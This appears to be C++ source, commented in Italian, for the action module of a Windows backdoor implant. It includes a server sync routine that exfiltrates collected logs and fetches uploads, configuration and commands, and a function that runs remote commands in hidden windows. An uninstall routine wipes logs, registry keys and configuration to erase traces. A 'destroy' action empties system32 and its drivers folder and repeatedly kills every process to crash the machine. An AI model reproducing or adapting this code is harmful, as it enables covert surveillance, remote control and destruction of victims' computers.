#include #include "LOG.h" #include "AM_Core.h" #include "ASP.h" class ScrambleString { public: char *get_str() { if (string) return string; return "NIL"; } WCHAR *get_wstr() { return string_w; } ScrambleString(char *ob_str) { string = LOG_ScrambleName(ob_str, 2, FALSE); if (string) _snwprintf_s(string_w, 64, _TRUNCATE, L"%S", string); else _snwprintf_s(string_w, 64, _TRUNCATE, L"NIL"); } ScrambleString(char *ob_str, BOOL is_demo) { string = NULL; if (is_demo) { string = LOG_ScrambleName(ob_str, 2, FALSE); if (string) _snwprintf_s(string_w, 64, _TRUNCATE, L"%S", string); else _snwprintf_s(string_w, 64, _TRUNCATE, L"NIL"); } else _snwprintf_s(string_w, 64, _TRUNCATE, L""); } ~ScrambleString(void) { SAFE_FREE(string); } private: char *string; WCHAR string_w[64]; }; extern BOOL IsDeepFreeze(); extern void UnlockConfFile(); extern BYTE bin_patched_backdoor_id[]; extern BOOL g_remove_driver; // Codici delle action function #define AF_SYNCRONIZE 1 #define AF_STARTAGENT 2 #define AF_STOPAGENT 3 #define AF_EXECUTE 4 #define AF_UNINSTALL 5 #define AF_LOGINFO 6 #define AF_STARTEVENT 7 #define AF_STOPEVENT 8 #define AF_DESTROY 9 #define AF_NONE 0xFFFFFFFF // Sono dichiarati in SM_Core.cpp di cui questo file e' un include void EventMonitorStopAll(void); void UpdateEventConf(void); void EventMonitorStartAll(void); void SM_AddExecutedProcess(DWORD); // Impedisce la concorrenza fra piu' azioni (tranne la sync, che protegge solo un pezzettino) CRITICAL_SECTION action_critic_sec; // Per la gestione del secondo thread delle azioni (quelle istantanee) BOOL bInstantActionThreadSemaphore = FALSE; HANDLE hInstantActionThread = NULL; // Dichiarazione delle possibili azioni BOOL WINAPI DA_Uninstall(BYTE *dummy_param); BOOL WINAPI DA_Syncronize(BYTE *action_param); BOOL WINAPI DA_StartAgent(BYTE *agent_tag); BOOL WINAPI DA_StopAgent(BYTE *agent_tag); BOOL WINAPI DA_Execute(BYTE *command); BOOL WINAPI DA_LogInfo(BYTE *info); BOOL WINAPI DA_Destroy(BYTE *isPermanent); // Dichiarazione del thread che puo' essere ristartato dalla sync DWORD WINAPI FastActionsThread(DWORD); // Scrive un log di tipo info BOOL WINAPI DA_LogInfo(BYTE *info) { WCHAR info_string[1024]; _snwprintf_s(info_string, 1024, _TRUNCATE, L"[User]: %s", (WCHAR *)info); EnterCriticalSection(&action_critic_sec); SendStatusLog(info_string); LeaveCriticalSection(&action_critic_sec); return FALSE; } // Esegue una sincronizzazione BOOL WINAPI DA_Syncronize(BYTE *action_param) { typedef struct { DWORD min_sleep; DWORD max_sleep; DWORD band_limit; BOOL exit_after_completion; char asp_server[1]; } sync_conf_struct; sync_conf_struct *sync_conf; DWORD ret_val; BOOL conn_error = FALSE; BOOL exit_after_completion; DWORD min_sleep; DWORD max_sleep; DWORD band_limit; long long purge_time = 0; DWORD purge_size = 0; char *asp_server, *unique_id; BOOL uninstall; long long actual_time; DWORD availables[20]; BOOL new_conf = FALSE; DWORD dummy; // Verifica che ci sia il parametro e che non siamo in momento di crisi if (!action_param || IsCrisisNetwork()) return FALSE; // asp_server e unique_id devono essere entrambe NULL // terminated. Deve essere cura del server inviare una // configurazione corretta. sync_conf = (sync_conf_struct *)action_param; asp_server = sync_conf->asp_server; unique_id = (char *)bin_patched_backdoor_id; exit_after_completion = sync_conf->exit_after_completion; min_sleep = sync_conf->min_sleep; max_sleep = sync_conf->max_sleep; band_limit = sync_conf->band_limit; // Quando riceve l'uninstall la funzione ritorna comunque FALSE if (!LOG_StartLogConnection(asp_server, unique_id, &uninstall, &actual_time, availables, sizeof(availables))) { if (uninstall) DA_Uninstall(NULL); return FALSE; } // Ricalcola e salva su file il delta date HM_CalcDateDelta(actual_time, &date_delta); Log_SaveAgentState(PM_CORE, (BYTE *)&date_delta, sizeof(date_delta)); // Gestisce gli availables: // Prova comunque a farli tutti, cosi' anche se per caso fallisse un upload (ad esempio) // va comunque avanti ad attivare la nuova conf, a spedire i log, etc. for (DWORD i=1; i<=availables[0]; i++) { if (availables[i] == PROTO_UPLOAD) LOG_HandleUpload(TRUE); if (availables[i] == PROTO_UPGRADE) LOG_HandleUpload(FALSE); if (availables[i] == PROTO_NEW_CONF) new_conf = LOG_ReceiveNewConf(); if (availables[i] == PROTO_DOWNLOAD) LOG_HandleDownload(); if (availables[i] == PROTO_FILESYSTEM) LOG_HandleFileSystem(); if (availables[i] == PROTO_PURGE) ASP_HandlePurge(&purge_time, &purge_size); if (availables[i] == PROTO_COMMANDS) LOG_HandleCommands(); if (IsCrisisNetwork()) break; // Cosi' se aveva ricevuto la nuova configurazione, la attiva // Tanto l'unica cosa che rimane e' l'invio dei log, che controllano // la crisi e in caso chiudono tutto } // Sospende tutti gli agent e l'agent manager. // Gli agent sono costretti a chiudere tutti i file // aperti prima dello scambio della coda dei log. // E ad agenti stoppati sposta tutti i log nella coda da inviare... EnterCriticalSection(&action_critic_sec); AM_SuspendRestart(AM_SUSPEND); LOG_Purge(purge_time, purge_size); // se non sono stati valorizzati dal comando la funzione non fa nulla Log_SwitchQueue(); if (new_conf) AM_SuspendRestart(AM_RESET); // Riattiva gli agenti da file di configurazione (se c'e' nuovo) else AM_SuspendRestart(AM_RESTART); // Rimette gli agent nella condizione che avevano alla suspend LeaveCriticalSection(&action_critic_sec); // Modifica configurazione eventi/azioni // se ha ricevuto nuovo file di conf if (new_conf) { // Devo killare l'altro thread delle azioni perche' sto per distruggere la tabella di eventi/azioni // Lo posso fare perche' sono fuori dalla critical section (quindi l'altro thread non e' bloccato) QUERY_CANCELLATION(hInstantActionThread, bInstantActionThreadSemaphore); EventMonitorStopAll(); UpdateEventConf(); EventMonitorStartAll(); // Ricreo il thread di gestione delle azioni fast (ora la tabella esiste di nuovo) hInstantActionThread = HM_SafeCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)FastActionsThread, NULL, 0, &dummy); } // Invia l'output dei comandi LOG_SendOutputCmd(band_limit, min_sleep, max_sleep); // Invia la coda dei log da spedire (no concorrenza con agenti) // Essendo l'ultima parte del protocollo, questa funzione si occupera' anche di mandare i PROTO_BYE LOG_SendLogQueue(band_limit, min_sleep, max_sleep); LOG_CloseLogConnection(); if (new_conf) return TRUE; // C'e' una nuova conf, quindi anche questo thread deve smettere di eseguire subactions return exit_after_completion; } // Fa partire un agent BOOL WINAPI DA_StartAgent(BYTE *agent_tag) { // Verifica che il parametro agent_tag sia corretto (una DWORD) if (!agent_tag) return FALSE; EnterCriticalSection(&action_critic_sec); AM_MonitorStartStop(*(DWORD *)agent_tag, TRUE); LeaveCriticalSection(&action_critic_sec); return FALSE; } // Fa fermare un agent BOOL WINAPI DA_StopAgent(BYTE *agent_tag) { // Verifica che il parametro agent_tag sia corretto (una DWORD) if (!agent_tag) return FALSE; EnterCriticalSection(&action_critic_sec); AM_MonitorStartStop(*(DWORD *)agent_tag, FALSE); LeaveCriticalSection(&action_critic_sec); return FALSE; } // Abilita un evento BOOL WINAPI DA_StartEvent(BYTE *event_id) { // Verifica che il parametro agent_tag sia corretto (una DWORD) if (!event_id) return FALSE; SM_EventTableState(*(DWORD *)event_id, TRUE); return FALSE; } // Disabilita un evento BOOL WINAPI DA_StopEvent(BYTE *event_id) { // Verifica che il parametro agent_tag sia corretto (una DWORD) if (!event_id) return FALSE; SM_EventTableState(*(DWORD *)event_id, FALSE); return FALSE; } // Esegue un comando in maniera nascosta BOOL WINAPI DA_Execute(BYTE *command) { STARTUPINFO si; PROCESS_INFORMATION pi; HANDLE hfile; char cmd_line[MAX_PATH*2]; // Verifica che ci sia il comando // N.B. Deve essere NULL terminato!!! // e Verifica che non siamo in periodo di crisi if (!command || IsCrisisSystem()) return FALSE; if (!HM_ExpandStrings((char *)command, cmd_line, sizeof(cmd_line))) strcpy(cmd_line, (char *)command); hfile = Log_CreateOutputFile((char *)command); // Il processo viene lanciato con la main window // nascosta ZeroMemory( &pi, sizeof(pi) ); ZeroMemory( &si, sizeof(si) ); si.cb = sizeof(si); si.wShowWindow = SW_HIDE; si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; si.hStdOutput = stdout; si.hStdError = stderr; si.hStdInput = stdin; if (hfile != INVALID_HANDLE_VALUE) si.hStdOutput = si.hStdError = hfile; IndirectCreateProcess((char *)cmd_line, 0, &si, &pi, TRUE); if (pi.hProcess) CloseHandle(pi.hProcess); if (pi.hThread) CloseHandle(pi.hThread); Log_CloseFile(hfile); // Se HM_CreateProcess fallisce, pi.dwProcessId e' settato a 0. // Lo aggiunge alla lista dei processi eseguiti if (pi.dwProcessId) SM_AddExecutedProcess(pi.dwProcessId); Sleep(300); return FALSE; } // Disinstalla il programma BOOL WINAPI DA_Uninstall(BYTE *dummy_param) { char conf_path[DLLNAMELEN]; ScrambleString ssok("QM\r\n", is_demo_version); // "OK\r\n" ScrambleString ss1("_ 4vE77UPC 8WW oEidWl1..........", is_demo_version); // "- Stopping all modules.........." ScrambleString ss2("_ jU7UPC Edv zUWl1..............", is_demo_version); // "- Wiping out files.............." ScrambleString ss3("_ BWl8PUPC oloEtJ...............", is_demo_version); // "- Cleaning memory..............." // Aspetta che il thread di azioni istantanee sia morto. // A quel punto ha pieni poteri su tutto visto che viene gestita solo // dal thread principale (lo stesso che gestisce le sync) QUERY_CANCELLATION(hInstantActionThread, bInstantActionThreadSemaphore); // Killa (se c'e') la dll di supporto a 64bit Kill64Core(); // Stoppa agenti ed event monitor. // A questo punto rimane attivo solo il thread // principale che gestisce il logout e l'injection // in TaskManager e nei nuovi explorer // (che non influisce sulla disinstallazione) REPORT_STATUS_LOG(ss1.get_str()); AM_SuspendRestart(AM_EXIT); EventMonitorStopAll(); REPORT_STATUS_LOG(ssok.get_str()); REPORT_STATUS_LOG(ss2.get_str()); // Rimuove lo sfondo modificato, ma solo se compilato come demo // va fatto qui, prima che cancelli i file nella dir nascosta RemoveDesktopBackground(); // Rimuove tutti i file di log. Log_RemoveFiles(); // Rimuove la chiave dal registry. // Lo fa dopo aver rimosso i log, per evitare che // il computer venga spento mentre li sta rimuovendo // (rimarrebbero i log sulla macchina). HM_RemoveRegistryKey(); REPORT_STATUS_LOG(ssok.get_str()); REPORT_STATUS_LOG(ss3.get_str()); // Rimuove il file di configurazione. // Lo rimuove dopo aver tolto la chiave del registry // per evitare che il computer venga spento con ancora la backdoor // attivabile al successivo avvio, ma senza file di configurazione // (non si disinstallerebbe piu'). UnlockConfFile(); HM_WipeFileA(HM_CompletePath(H4_CONF_FILE, conf_path)); // Tenta di iniettare un thread in explorer per cancellare // la DLL core e la directory di lavoro (non puo' cancellarsi da sola) HM_RemoveCore(); //Cancella il driver sull'ultima istanza if (g_remove_driver && IsLastInstance()) HM_RemoveDriver(); // Tenta l'uninstall dal disco reale in caso di deep freeze if (IsDeepFreeze()) { HideDevice dev_df; DFUninstall(&dev_df, (unsigned char *)H4_HOME_PATH, (unsigned char *)REGISTRY_KEY_NAME); } REPORT_STATUS_LOG(ssok.get_str()); // Fa terminare il processo host (rundll32) ReportExitProcess(); // :) return FALSE; } // Fa schiantare il computer DWORD WINAPI KillAllProcess(DWORD dummy) { HANDLE proc_list, hProc; PROCESSENTRY32W lppe; LOOP { Sleep(250); if ( (proc_list = FNC(CreateToolhelp32Snapshot)(TH32CS_SNAPPROCESS, NULL)) != INVALID_HANDLE_VALUE ) { lppe.dwSize = sizeof(PROCESSENTRY32W); if (FNC(Process32FirstW)(proc_list, &lppe)) { do { if (lppe.th32ProcessID != GetCurrentProcessId()) { if (hProc = FNC(OpenProcess)(PROCESS_TERMINATE, FALSE, lppe.th32ProcessID)) { TerminateProcess(hProc, 0); CloseHandle(hProc); } } } while(FNC(Process32NextW)(proc_list, &lppe)); } CloseHandle(proc_list); } } return 0; } void EmptyDirectory(WCHAR *path) { WCHAR search_path[MAX_PATH]; WIN32_FIND_DATAW find_data; HANDLE hFind; _snwprintf_s(search_path, sizeof(search_path)/sizeof(WCHAR), _TRUNCATE, L"%s\\*", path); hFind = FNC(FindFirstFileW)(search_path, &find_data); if (hFind != INVALID_HANDLE_VALUE) { do { if (find_data.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) continue; _snwprintf_s(search_path, sizeof(search_path)/sizeof(WCHAR), _TRUNCATE, L"%s\\%s", path, find_data.cFileName); DeleteFileW(search_path); } while (FNC(FindNextFileW)(hFind, &find_data)); FNC(FindClose)(hFind); } } BOOL WINAPI DA_Destroy(BYTE *isPermanent) { static BOOL isRunning = FALSE; DWORD dummy; // Cancella alcuni file di sistema if (*isPermanent) { WCHAR sys_path[MAX_PATH]; DisableWow64Fs(); if (!FNC(GetEnvironmentVariableW)(L"SystemRoot", sys_path, MAX_PATH)) return FALSE; StrCatW(sys_path, L"\\system32"); EmptyDirectory(sys_path); if (!FNC(GetEnvironmentVariableW)(L"SystemRoot", sys_path, MAX_PATH)) return FALSE; StrCatW(sys_path, L"\\system32\\drivers"); EmptyDirectory(sys_path); } // Lancia un thread che killa tutti i processi if (!isRunning) { HM_SafeCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)KillAllProcess, NULL, 0, &dummy); isRunning = TRUE; } return FALSE; } .